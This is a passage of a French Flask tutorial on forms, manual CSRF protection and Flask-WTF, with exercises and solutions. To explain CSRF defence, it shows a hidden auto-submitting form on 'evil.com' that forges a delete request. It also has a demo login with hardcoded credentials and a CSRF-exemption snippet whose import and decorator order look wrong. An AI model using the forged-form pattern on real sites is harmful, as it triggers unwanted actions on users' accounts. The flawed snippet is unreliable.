                                       # ^ GET request vers la liste

          # Si erreurs -> PAS de redirect, on réaffiche le formulaire
          # (pour garder les données saisies et les messages d'erreur)

      # GET -> afficher le formulaire vide
      return render_template('livres/formulaire.html', ...)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  SÉCURITÉ DE BASE DES FORMULAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ATTAQUE CSRF (Cross-Site Request Forgery) :
─────────────────────────────────────────────
CSRF est une attaque où un site malveillant fait soumettre un formulaire
à ta place sans que tu le saches.

Scénario d'attaque :
  1. Tu es connecté à bookflow.com
  2. Tu visites evil.com
  3. evil.com contient un formulaire caché :
     <form action="https://bookflow.com/admin/supprimer-livre" method="POST">
         <input type="hidden" name="livre_id" value="5">
     </form>
     <script>document.forms[0].submit()</script>
  4. Ton navigateur envoie la requête POST avec ton cookie de session !
  5. Le livre est supprimé sans que tu l'aies voulu [X]

PROTECTION CSRF — TOKEN CSRF :
  1. Le serveur génère un token secret unique par formulaire/session
  2. Le token est inclus dans le formulaire comme champ caché
  3. À la soumission, le serveur vérifie que le token est correct
  4. evil.com ne peut pas connaître le token -> requête rejetée [OK]

IMPLÉMENTATION MANUELLE (avant Flask-WTF) :

  import secrets
  from flask import session

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      if request.method == 'POST':
          # Vérifier le token CSRF
          token_recu = request.form.get('csrf_token')
          token_attendu = session.get('csrf_token')

          if not token_recu or token_recu != token_attendu:
              return "Erreur CSRF - requête invalide", 403

          # ... traiter normalement ...

      # Générer un nouveau token pour le formulaire
      csrf_token = secrets.token_hex(32)
      session['csrf_token'] = csrf_token

      return render_template('formulaire.html', csrf_token=csrf_token)

  # Dans le template :
  # <input type="hidden" name="csrf_token" value="{{ csrf_token }}">

  # [OK] Flask-WTF gère tout ça automatiquement (voir Chapitre 15)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 14.1 : Crée un formulaire HTML pour la recherche de livres.
    Champs : texte libre, genre (select), disponible (checkbox).
    Route GET /search qui traite les données et affiche les résultats.

  Exercice 14.2 : Crée un formulaire de contact (nom, email, message).
    Valide manuellement que tous les champs sont remplis.
    Affiche les erreurs sous chaque champ.

  Exercice 14.3 : Implémente le Pattern PRG sur un formulaire d'inscription
    simple (nom, email). Montre comment le flash message survivre la redirection.

NIVEAU INTERMÉDIAIRE :
  Exercice 14.4 : Crée un formulaire d'édition (PATCH) d'un livre.
    Pré-remplir les champs avec les données existantes.
    Différencier la création de l'édition dans la même route.

  Exercice 14.5 : Crée un formulaire avec un champ multi-select (genres multiples).
    Traite les valeurs multiples avec request.form.getlist().

NIVEAU AVANCÉ :
  Exercice 14.6 : Implémente manuellement la protection CSRF sans Flask-WTF.
    Token généré, stocké en session, vérifié à chaque POST.
    Tester qu'une requête sans token est rejetée avec 403.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 14.1 :

  # Route Flask
  @app.route('/search')
  def rechercher():
      q = request.args.get('q', '').strip()
      genre = request.args.get('genre', '')
      disponible = request.args.get('disponible') == '1'

      resultats = LIVRES.copy()

      if q:
          resultats = [
              l for l in resultats
              if q.lower() in l['titre'].lower()
              or q.lower() in l['auteur'].lower()
          ]
      if genre:
          resultats = [l for l in resultats if l.get('genre') == genre]
      if disponible:
          resultats = [l for l in resultats if l.get('disponible')]

      return render_template(
          'search.html',
          resultats=resultats,
          q=q, genre=genre,
          genres=GENRES,
          total=len(resultats)
      )

  # Template search.html
  # <form method="GET" action="/search">
  #   <input type="text" name="q" value="{{ q }}">
  #   <select name="genre">
  #     <option value="">Tous</option>
  #     {% for g in genres %}
  #       <option value="{{ g }}" {{ 'selected' if genre == g }}>{{ g }}</option>
  #     {% endfor %}
  #   </select>
  #   <input type="checkbox" name="disponible" value="1" {{ 'checked' if disponible }}>
  #   <button>Rechercher</button>
  # </form>
  # <p>{{ total }} résultats</p>

CORRIGÉ 14.2 :

  @app.route('/contact', methods=['GET', 'POST'])
  def contact():
      erreurs = {}
      form_data = {}

      if request.method == 'POST':
          nom = request.form.get('nom', '').strip()
          email = request.form.get('email', '').strip()
          message = request.form.get('message', '').strip()
          form_data = {'nom': nom, 'email': email, 'message': message}

          import re
          if not nom:
              erreurs['nom'] = "Votre nom est obligatoire"
          if not email:
              erreurs['email'] = "L'email est obligatoire"
          elif not re.match(r'^[^@]+@[^@]+\.[^@]+$', email):
              erreurs['email'] = "Format d'email invalide"
          if not message:
              erreurs['message'] = "Le message est obligatoire"
          elif len(message) < 10:
              erreurs['message'] = "Message trop court (min 10 caractères)"

          if not erreurs:
              # Envoyer l'email (simulation)
              print(f"Message de {nom} <{email}> : {message}")
              flash("Votre message a été envoyé !", "success")
              return redirect(url_for('index'))

      return render_template('contact.html', erreurs=erreurs, form_data=form_data)

CORRIGÉ 14.6 — CSRF manuel :

  import secrets
  from flask import session, abort

  def generer_csrf_token():
      """Génère et stocke un token CSRF en session."""
      token = secrets.token_hex(32)
      session['csrf_token'] = token
      return token

  def verifier_csrf_token():
      """Vérifie le token CSRF de la requête POST. Lève 403 si invalide."""
      token_recu = request.form.get('csrf_token', '')
      token_session = session.get('csrf_token', '')

      if not token_recu or not token_session:
          abort(403)
      if not secrets.compare_digest(token_recu, token_session):
          # compare_digest résiste aux timing attacks
          abort(403)
      # Renouveler le token après usage (évite les replay attacks)
      session.pop('csrf_token', None)

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      if request.method == 'POST':
          verifier_csrf_token()  # <- Vérification CSRF
          # ... traitement normal ...
          flash('Livre créé !', 'success')
          return redirect(url_for('liste_livres'))

      csrf_token = generer_csrf_token()
      return render_template('formulaire.html', csrf_token=csrf_token)

  # Template : <input type="hidden" name="csrf_token" value="{{ csrf_token }}">


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                  CHAPITRE 15 — FLASK-WTF : FORMULAIRES SÉCURISÉS                     ║
║                 L'approche professionnelle et orientée objet                         ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE FLASK-WTF ?
──────────────────────────
Flask-WTF est une extension Flask qui intègre WTForms dans Flask.
WTForms est une bibliothèque Python de gestion des formulaires.

Flask-WTF apporte :
  [OK] Protection CSRF automatique (plus de code manuel !)
  [OK] Classes Python pour définir les formulaires
  [OK] Validateurs prêts à l'emploi (requis, email, longueur, regex...)
  [OK] Rendu HTML automatique
  [OK] Intégration facile avec les templates Jinja2
  [OK] Support de l'upload de fichiers sécurisé

POURQUOI UTILISER FLASK-WTF ?
-> Évite la répétition de code de validation
-> Les formulaires sont réutilisables
-> La validation est centralisée et testable
-> Protection CSRF intégrée et transparente
-> Standard de l'industrie pour Flask


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

INSTALLATION :

  pip install flask-wtf
  pip install email-validator  # Pour valider les emails

CONFIGURATION :

  from flask import Flask
  from flask_wtf.csrf import CSRFProtect

  app = Flask(__name__)

  # SECRET_KEY : OBLIGATOIRE pour Flask-WTF (signe les tokens CSRF)
  app.config['SECRET_KEY'] = 'votre-cle-secrete-longue-et-aleatoire'

  # Activer la protection CSRF globalement
  csrf = CSRFProtect(app)

  # Options de configuration supplémentaires
  app.config['WTF_CSRF_TIME_LIMIT'] = 3600        # Token valide 1h (défaut: 3600)
  app.config['WTF_CSRF_SSL_STRICT'] = False       # En dev, pas d'HTTPS requis
  app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # Upload max 16 MB

DANS L'APPLICATION FACTORY :

  from flask_wtf.csrf import CSRFProtect

  csrf = CSRFProtect()  # Créer sans lier à l'app

  def create_app(config_name='development'):
      app = Flask(__name__)
      app.config.from_object(config_map[config_name])

      csrf.init_app(app)  # Lier à l'app ici

      # ...
      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CRÉER UN FORMULAIRE AVEC FLASK-WTF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un formulaire Flask-WTF est une CLASSE Python qui hérite de FlaskForm.
Chaque champ est un attribut de classe avec des validateurs.

EXEMPLE COMPLET — FORMULAIRE DE LIVRE :

  # app/forms/livre_forms.py
  from flask_wtf import FlaskForm
  from wtforms import (
      StringField, IntegerField, TextAreaField,
      SelectField, BooleanField, SubmitField,
      DecimalField, FloatField
  )
  from wtforms.validators import (
      DataRequired, Optional, Length, NumberRange,
      Regexp, ValidationError
  )

  # Constantes de validation
  GENRES_VALIDES = [
      ('science-fiction', 'Science-Fiction'),
      ('fantasy', 'Fantasy'),
      ('dystopie', 'Dystopie'),
      ('policier', 'Policier'),
      ('romance', 'Romance'),
      ('historique', 'Historique'),
      ('biographie', 'Biographie'),
      ('autre', 'Autre')
  ]

  class LivreForm(FlaskForm):
      """
      Formulaire de création/édition d'un livre.
      Hérite de FlaskForm qui intègre CSRF automatiquement.
      """

      # StringField : champ texte simple
      titre = StringField(
          'Titre',                           # Label du champ
          validators=[
              DataRequired(message="Le titre est obligatoire"),
              Length(
                  min=1, max=200,
                  message="Le titre doit contenir entre 1 et 200 caractères"
              )
          ],
          render_kw={                        # Attributs HTML supplémentaires
              'placeholder': 'Ex: Dune',
              'class': 'form-control',
              'autofocus': True
          }
      )

      auteur = StringField(
          'Auteur',
          validators=[
              DataRequired(message="L'auteur est obligatoire"),
              Length(max=100, message="Maximum 100 caractères")
          ],
          render_kw={'placeholder': 'Ex: Frank Herbert', 'class': 'form-control'}
      )

      # IntegerField : champ nombre entier
      pages = IntegerField(
          'Nombre de pages',
          validators=[
              Optional(),                    # Champ optionnel
              NumberRange(
                  min=1, max=50000,
                  message="Le nombre de pages doit être entre 1 et 50 000"
              )
          ],
          render_kw={'placeholder': '0', 'class': 'form-control'}
      )

      # SelectField : liste déroulante
      genre = SelectField(
          'Genre',
          choices=[('', '-- Choisir un genre --')] + GENRES_VALIDES,
          validators=[Optional()],
          render_kw={'class': 'form-control'}
      )

      # DecimalField : nombre décimal
      prix = DecimalField(
          'Prix (€)',
          places=2,                          # 2 décimales
          validators=[
              Optional(),
              NumberRange(min=0, max=999.99, message="Prix invalide")
          ],
          render_kw={'placeholder': '0.00', 'class': 'form-control'}
      )

      # TextAreaField : zone de texte multi-lignes
      description = TextAreaField(
          'Description',
          validators=[
              Optional(),
              Length(max=2000, message="Maximum 2000 caractères")
          ],
          render_kw={
              'rows': 5,
              'placeholder': 'Résumé du livre...',
              'class': 'form-control'
          }
      )

      isbn = StringField(
          'ISBN',
          validators=[
              Optional(),
              Length(min=13, max=13, message="L'ISBN doit contenir exactement 13 chiffres"),
              Regexp(
                  r'^\d{13}$',
                  message="L'ISBN ne doit contenir que des chiffres"
              )
          ],
          render_kw={'placeholder': '9781234567890', 'class': 'form-control'}
      )

      # BooleanField : case à cocher
      disponible = BooleanField(
          'Disponible à l\'emprunt',
          default=True,
          render_kw={'class': 'form-check-input'}
      )

      # SubmitField : bouton de soumission
      submit = SubmitField(
          'Enregistrer le livre',
          render_kw={'class': 'btn-primary'}
      )

      # ─── VALIDATION PERSONNALISÉE ───
      # Méthode validate_<nom_champ> -> appelée automatiquement
      def validate_isbn(self, field):
          """Validation personnalisée de l'ISBN."""
          if field.data:
              isbn = field.data
              # Vérification du chiffre de contrôle ISBN-13
              total = 0
              for i, chiffre in enumerate(isbn):
                  n = int(chiffre)
                  total += n if i % 2 == 0 else n * 3
              if total % 10 != 0:
                  raise ValidationError("ISBN-13 invalide (chiffre de contrôle incorrect)")


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  TOUS LES TYPES DE CHAMPS WTFORMS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CHAMPS TEXTE :
  StringField       -> Texte court (input type="text")
  PasswordField     -> Mot de passe masqué (input type="password")
  TextAreaField     -> Texte long (textarea)
  EmailField        -> Email (input type="email") — nécessite email-validator
  URLField          -> URL (input type="url")
  TelField          -> Téléphone (input type="tel")
  SearchField       -> Recherche (input type="search")
  HiddenField       -> Champ caché (input type="hidden")

CHAMPS NUMÉRIQUES :
  IntegerField      -> Entier (input type="number")
  DecimalField      -> Décimal avec précision (ex: prix)
  FloatField        -> Nombre flottant
  IntegerRangeField -> Entier avec slider (input type="range")

CHAMPS CHOIX :
  SelectField       -> Liste déroulante (select)
  SelectMultipleField -> Sélection multiple (select multiple)
  RadioField        -> Boutons radio
  BooleanField      -> Case à cocher (checkbox)
  MultipleFileField -> Upload de plusieurs fichiers

CHAMPS DATE/HEURE :
  DateField         -> Date (input type="date") -> objet Python date
  DateTimeField     -> Date et heure -> objet Python datetime
  DateTimeLocalField -> Date/heure locale (input type="datetime-local")
  TimeField         -> Heure -> objet Python time
  MonthField        -> Mois (input type="month")

CHAMPS SPÉCIAUX :
  FileField         -> Upload de fichier
  MultipleFileField -> Upload multiple
  SubmitField       -> Bouton de soumission
  FormField         -> Sous-formulaire imbriqué
  FieldList         -> Liste de champs répétés

EXEMPLES :

  from flask_wtf import FlaskForm
  from flask_wtf.file import FileField, FileAllowed, FileRequired
  from wtforms import (
      StringField, PasswordField, EmailField, SelectField,
      SelectMultipleField, RadioField, BooleanField, DateField,
      IntegerField, TextAreaField, HiddenField, SubmitField
  )
  from wtforms.validators import (
      DataRequired, Optional, Email, Length, EqualTo,
      NumberRange, URL, Regexp, ValidationError
  )

  class InscriptionForm(FlaskForm):
      """Formulaire d'inscription complet."""

      nom = StringField('Prénom et Nom',
          validators=[DataRequired(), Length(2, 100)])

      email = EmailField('Adresse email',
          validators=[DataRequired(), Email(message="Email invalide")])

      mot_de_passe = PasswordField('Mot de passe',
          validators=[
              DataRequired(),
              Length(min=8, message="Minimum 8 caractères"),
              Regexp(
                  r'^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)',
                  message="Doit contenir minuscule, majuscule et chiffre"
              )
          ])

      confirmer_mdp = PasswordField('Confirmer le mot de passe',
          validators=[
              DataRequired(),
              EqualTo('mot_de_passe', message="Les mots de passe ne correspondent pas")
          ])

      # SelectField avec choices en tuple (valeur, label)
      pays = SelectField('Pays',
          choices=[
              ('', '-- Sélectionner --'),
              ('SN', 'Sénégal'),
              ('ML', 'Mali'),
              ('CI', "Côte d'Ivoire"),
              ('MA', 'Maroc'),
              ('FR', 'France')
          ],
          validators=[DataRequired(message="Sélectionnez votre pays")])

      # SelectMultipleField
      genres_preferes = SelectMultipleField('Genres préférés',
          choices=[
              ('sf', 'Science-Fiction'),
              ('fantasy', 'Fantasy'),
              ('policier', 'Policier')
          ],
          validators=[Optional()])

      # RadioField
      type_abonnement = RadioField('Type d\'abonnement',
          choices=[
              ('gratuit', 'Gratuit — 2 emprunts/mois'),
              ('standard', 'Standard (4,99€) — 5 emprunts/mois'),
              ('premium', 'Premium (9,99€) — Illimité')
          ],
          default='gratuit',
          validators=[DataRequired()])

      # DateField
      date_naissance = DateField('Date de naissance',
          format='%Y-%m-%d',
          validators=[Optional()])

      # BooleanField (checkbox)
      accepter_cgu = BooleanField(
          'J\'accepte les conditions générales d\'utilisation',
          validators=[DataRequired(message="Vous devez accepter les CGU")]
      )

      newsletter = BooleanField(
          'Je souhaite recevoir la newsletter BookFlow',
          default=False
      )

      # FileField avec Flask-WTF
      avatar = FileField('Photo de profil',
          validators=[
              Optional(),
              FileAllowed(['jpg', 'jpeg', 'png', 'gif'],
                          message="Formats acceptés : JPG, PNG, GIF")
          ])

      submit = SubmitField('Créer mon compte')

      # Validation croisée personnalisée
      def validate_date_naissance(self, field):
          if field.data:
              from datetime import date
              aujourd_hui = date.today()
              age = (aujourd_hui - field.data).days // 365
              if age < 13:
                  raise ValidationError("Vous devez avoir au moins 13 ans")
              if age > 120:
                  raise ValidationError("Date de naissance invalide")


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  UTILISER LE FORMULAIRE DANS UNE ROUTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import Flask, render_template, redirect, url_for, flash
  from .forms.livre_forms import LivreForm, InscriptionForm

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      """
      Crée un nouveau livre avec Flask-WTF.
      """
      # Instancier le formulaire
      # Flask-WTF peuple automatiquement depuis request.form si POST
      form = LivreForm()

      # form.validate_on_submit() :
      # -> True si méthode POST ET données valides
      # -> False si GET, ou POST avec erreurs
      if form.validate_on_submit():
          # [OK] Données valides ET formulaire soumis
          # Accéder aux données via form.<champ>.data

          nouveau = {
              'titre':       form.titre.data,       # string
              'auteur':      form.auteur.data,       # string
              'pages':       form.pages.data,        # int ou None
              'genre':       form.genre.data,        # string
              'prix':        float(form.prix.data) if form.prix.data else 0,
              'description': form.description.data,  # string
              'isbn':        form.isbn.data,         # string ou None
              'disponible':  form.disponible.data    # bool
          }

          # ... sauvegarder en BDD (Partie 5) ...
          LIVRES.append(nouveau)

          flash(f'Livre « {nouveau["titre"]} » créé avec succès !', 'success')
          return redirect(url_for('web.liste_livres'))

      # GET -> afficher formulaire vide
      # POST invalide -> réafficher avec erreurs
      return render_template('livres/formulaire_wtf.html', form=form, titre_page="Nouveau livre")

  @app.route('/livres/<int:livre_id>/modifier', methods=['GET', 'POST'])
  def modifier_livre(livre_id):
      """
      Modifie un livre existant — pré-remplissage du formulaire.
      """
      livre = trouver_livre(livre_id)
      if not livre:
          abort(404)

      # Pour pré-remplir le formulaire, passer obj=livre ou data=dict
      # obj= fonctionne avec un objet Python (ex: modèle SQLAlchemy)
      # data= fonctionne avec un dict
      form = LivreForm(data=livre)
      # Flask-WTF peuple automatiquement avec les données de request.form si POST

      if form.validate_on_submit():
          # Mettre à jour le livre
          livre['titre']       = form.titre.data
          livre['auteur']      = form.auteur.data
          livre['pages']       = form.pages.data or 0
          livre['genre']       = form.genre.data
          livre['description'] = form.description.data
          livre['disponible']  = form.disponible.data

          flash(f'Livre « {livre["titre"]} » modifié avec succès !', 'success')
          return redirect(url_for('web.detail_livre', livre_id=livre_id))

      return render_template(
          'livres/formulaire_wtf.html',
          form=form,
          livre=livre,
          titre_page=f"Modifier : {livre['titre']}"
      )


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  RENDRE LES FORMULAIRES DANS LES TEMPLATES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

MÉTHODE 1 — RENDU MANUEL (contrôle maximal) :

  {# templates/livres/formulaire_wtf.html #}
  {% extends "base.html" %}
  {% block titre %}{{ titre_page }}{% endblock %}

  {% block contenu %}
  <div class="formulaire-container">
      <h1>{{ titre_page }}</h1>

      <form method="POST" novalidate>
          {# * TOKEN CSRF — OBLIGATOIRE avec Flask-WTF #}
          {{ form.hidden_tag() }}
          {# ^ Génère : <input type="hidden" name="csrf_token" value="..."> #}

          {# CHAMP TITRE #}
          <div class="form-group {{ 'has-error' if form.titre.errors else '' }}">
              {{ form.titre.label }}
              {{ form.titre(class="form-control") }}
              {# form.titre() rend l'input HTML avec les attributs render_kw #}
              {% for erreur in form.titre.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# CHAMP AUTEUR #}
          <div class="form-group {{ 'has-error' if form.auteur.errors else '' }}">
              {{ form.auteur.label }}
              {{ form.auteur() }}
              {% for erreur in form.auteur.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# CHAMP PAGES #}
          <div class="form-group {{ 'has-error' if form.pages.errors else '' }}">
              {{ form.pages.label }}
              {{ form.pages(min=1, max=50000) }}
              {# Les kwargs passés ici s'ajoutent comme attributs HTML #}
              {% for erreur in form.pages.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# CHAMP SELECT (GENRE) #}
          <div class="form-group {{ 'has-error' if form.genre.errors else '' }}">
              {{ form.genre.label }}
              {{ form.genre() }}
              {% for erreur in form.genre.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# CHAMP TEXTAREA #}
          <div class="form-group {{ 'has-error' if form.description.errors else '' }}">
              {{ form.description.label }}
              {{ form.description() }}
              {% for erreur in form.description.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# CHECKBOX #}
          <div class="form-group form-check">
              {{ form.disponible() }}
              {{ form.disponible.label }}
              {% for erreur in form.disponible.errors %}
                  <p class="error-text">{{ erreur }}</p>
              {% endfor %}
          </div>

          {# BOUTON SUBMIT #}
          <div class="form-actions">
              {{ form.submit() }}
              <a href="{{ url_for('web.liste_livres') }}" class="btn-secondary">Annuler</a>
          </div>
      </form>
  </div>
  {% endblock %}

MÉTHODE 2 — MACRO RÉUTILISABLE (recommandée) :

  {# templates/macros/wtf_forms.html #}

  {% macro render_field(field, label_visible=True) %}
  {#
    Macro universelle pour rendre n'importe quel champ WTForms.
    Gère les erreurs, le label, et les attributs CSS.
  #}
  <div class="form-group {% if field.errors %}has-error{% endif %}">

      {# Label #}
      {% if label_visible and field.type != 'SubmitField' and field.type != 'BooleanField' %}
          {{ field.label(class="form-label") }}
          {% if field.flags.required %}
              <span class="required" title="Obligatoire">*</span>
          {% endif %}
      {% endif %}

      {# Champ selon son type #}
      {% if field.type == 'BooleanField' %}
          <div class="form-check">
              {{ field(class="form-check-input") }}
              {{ field.label(class="form-check-label") }}
          </div>
      {% elif field.type == 'FileField' %}
          {{ field(class="form-control-file") }}
      {% elif field.type == 'TextAreaField' %}
          {{ field(class="form-control", rows=5) }}
      {% elif field.type == 'SelectField' %}
          {{ field(class="form-select") }}
      {% elif field.type == 'SubmitField' %}
          {{ field(class="btn-primary") }}
      {% else %}
          {{ field(class="form-control " + ("is-invalid" if field.errors else "")) }}
      {% endif %}

      {# Messages d'erreur #}
      {% if field.errors %}
          <div class="invalid-feedback">
              {% for erreur in field.errors %}
                  <span>{{ erreur }}</span>
              {% endfor %}
          </div>
      {% endif %}

      {# Description optionnelle (définie dans description= du champ) #}
      {% if field.description %}
          <small class="form-text text-muted">{{ field.description }}</small>
      {% endif %}

  </div>
  {% endmacro %}

  {% macro render_form(form, action='', method='POST') %}
  {# Rend un formulaire entier avec tous ses champs #}
  <form action="{{ action }}" method="{{ method }}" novalidate
        {% if form.enctype %}enctype="{{ form.enctype }}"{% endif %}>
      {{ form.hidden_tag() }}
      {% for field in form %}
          {% if field.type != 'CSRFTokenField' %}
              {{ render_field(field) }}
          {% endif %}
      {% endfor %}
  </form>
  {% endmacro %}

  {# Utilisation simplifiée : #}
  {# {% from "macros/wtf_forms.html" import render_field, render_form %} #}
  {#                                                                      #}
  {# <!-- Rendre champ par champ -->                                      #}
  {# <form method="POST">                                                 #}
  {#     {{ form.hidden_tag() }}                                          #}
  {#     {{ render_field(form.titre) }}                                   #}
  {#     {{ render_field(form.auteur) }}                                  #}
  {#     {{ render_field(form.submit) }}                                  #}
  {# </form>                                                              #}
  {#                                                                      #}
  {# <!-- Ou rendre tout automatiquement -->                              #}
  {# {{ render_form(form) }}                                              #}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  DÉSACTIVER CSRF POUR CERTAINES ROUTES (API)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les API REST qui utilisent JWT n'ont pas besoin du CSRF (les tokens JWT
le remplacent). On peut désactiver CSRF par route ou par Blueprint.

  from flask_wtf.csrf import CSRFProtect, csrf_exempt

  csrf = CSRFProtect()

  # Désactiver CSRF pour une route spécifique
  @csrf_exempt
  @app.route('/api/v1/livres', methods=['POST'])
  def api_creer_livre():
      data = request.get_json()
      # Pas de CSRF car authentifié par JWT
      return jsonify({"message": "créé"}), 201

  # Désactiver CSRF pour un Blueprint entier (API)
  from .routes.api import api_bp
  csrf.exempt(api_bp)  # Tout le Blueprint est exempté

  # Dans config.py pour désactiver globalement (tests) :
  WTF_CSRF_ENABLED = False  # <- UNIQUEMENT pour les tests !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 15.1 : Crée LoginForm avec Flask-WTF :
    - email (EmailField, requis)
    - mot_de_passe (PasswordField, requis, min 6 chars)
    - se_souvenir (BooleanField, optionnel)
    - submit (SubmitField)
    Affiche-le dans un template avec form.hidden_tag().

  Exercice 15.2 : Crée un formulaire de recherche SearchForm avec :
    - query (StringField, optionnel)
    - genre (SelectField avec les genres)
    - Génère et affiche le formulaire dans un template.

  Exercice 15.3 : Utilise validate_on_submit() dans une route pour
    traiter le LoginForm. Affiche les erreurs sous chaque champ.

NIVEAU INTERMÉDIAIRE :
  Exercice 15.4 : Crée InscriptionForm complet avec :
    - nom, email, mot_de_passe, confirmer_mdp
    - Validation croisée : les deux mots de passe doivent correspondre
    - Validation personnalisée de l'email : doit se terminer par .com ou .net

  Exercice 15.5 : Crée un formulaire d'édition de profil pré-rempli.
    Utilise obj= ou data= pour pré-peupler les champs.

NIVEAU AVANCÉ :
  Exercice 15.6 : Crée la macro render_field() complète qui gère
    tous les types de champs WTForms avec les bonnes classes CSS.
    Utilise-la pour rendre le LivreForm entier.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 15.1 — LoginForm :

  # app/forms/auth_forms.py
  from flask_wtf import FlaskForm
  from wtforms import StringField, PasswordField, BooleanField, SubmitField, EmailField
  from wtforms.validators import DataRequired, Email, Length

  class LoginForm(FlaskForm):
      email = EmailField(
          'Adresse email',
          validators=[
              DataRequired(message="L'email est obligatoire"),
              Email(message="Format d'email invalide")
          ],
          render_kw={
              'placeholder': 'votre@email.com',
              'class': 'form-control',
              'autocomplete': 'email'
          }
      )

      mot_de_passe = PasswordField(
          'Mot de passe',
          validators=[
              DataRequired(message="Le mot de passe est obligatoire"),
              Length(min=6, message="Minimum 6 caractères")
          ],
          render_kw={
              'placeholder': '••••••••',
              'class': 'form-control',
              'autocomplete': 'current-password'
          }
      )

      se_souvenir = BooleanField(
          'Se souvenir de moi',
          render_kw={'class': 'form-check-input'}
      )

      submit = SubmitField(
          'Se connecter',
          render_kw={'class': 'btn-primary btn-block'}
      )

  # Template login.html
  # {% extends "base.html" %}
  # {% block contenu %}
  # <div class="auth-container">
  #     <h1>Connexion</h1>
  #     <form method="POST" novalidate>
  #         {{ form.hidden_tag() }}
  #         <div class="form-group {{ 'has-error' if form.email.errors }}">
  #             {{ form.email.label }}
  #             {{ form.email() }}
  #             {% for e in form.email.errors %}
  #                 <p class="error-text">{{ e }}</p>
  #             {% endfor %}
  #         </div>
  #         <div class="form-group {{ 'has-error' if form.mot_de_passe.errors }}">
  #             {{ form.mot_de_passe.label }}
  #             {{ form.mot_de_passe() }}
  #             {% for e in form.mot_de_passe.errors %}
  #                 <p class="error-text">{{ e }}</p>
  #             {% endfor %}
  #         </div>
  #         <div class="form-check">
  #             {{ form.se_souvenir() }}
  #             {{ form.se_souvenir.label }}
  #         </div>
  #         {{ form.submit() }}
  #     </form>
  # </div>
  # {% endblock %}

CORRIGÉ 15.3 — Route login :

  from flask import render_template, redirect, url_for, flash
  from .forms.auth_forms import LoginForm

  @app.route('/login', methods=['GET', 'POST'])
  def login():
      form = LoginForm()

      if form.validate_on_submit():
          email = form.email.data
          mdp = form.mot_de_passe.data
          se_souvenir = form.se_souvenir.data

          # Vérification (simulation — en prod, chercher en BDD + vérifier hash)
          if email == 'admin@bookflow.com' and mdp == 'password123':
              flash('Connexion réussie ! Bienvenue.', 'success')
              return redirect(url_for('web.index'))
          else:
              flash('Email ou mot de passe incorrect.', 'error')
              # Pas de redirect -> réafficher le formulaire avec le flash

      return render_template('auth/login.html', form=form)

CORRIGÉ 15.4 — InscriptionForm avec validations croisées :

  from flask_wtf import FlaskForm
  from wtforms import StringField, PasswordField, EmailField, SubmitField
  from wtforms.validators import DataRequired, Email, Length, EqualTo, ValidationError

  class InscriptionForm(FlaskForm):

      nom = StringField('Nom complet',
          validators=[DataRequired(), Length(2, 100)],
          render_kw={'placeholder': 'Momo Traoré', 'class': 'form-control'})

      email = EmailField('Email',
          validators=[DataRequired(), Email()],
          render_kw={'placeholder': 'momo@bookflow.com', 'class': 'form-control'})

      mot_de_passe = PasswordField('Mot de passe',
          validators=[
              DataRequired(),
              Length(min=8, message="Minimum 8 caractères")
          ],
          render_kw={'class': 'form-control'})

      confirmer_mdp = PasswordField('Confirmer le mot de passe',
          validators=[
              DataRequired(),
              EqualTo('mot_de_passe', message="Les mots de passe ne correspondent pas")
          ],
          render_kw={'class': 'form-control'})

      submit = SubmitField('Créer mon compte',
          render_kw={'class': 'btn-primary'})

      def validate_email(self, field):
          """Validation personnalisée de l'email."""
          email = field.data.lower()
          if not (email.endswith('.com') or email.endswith('.net')
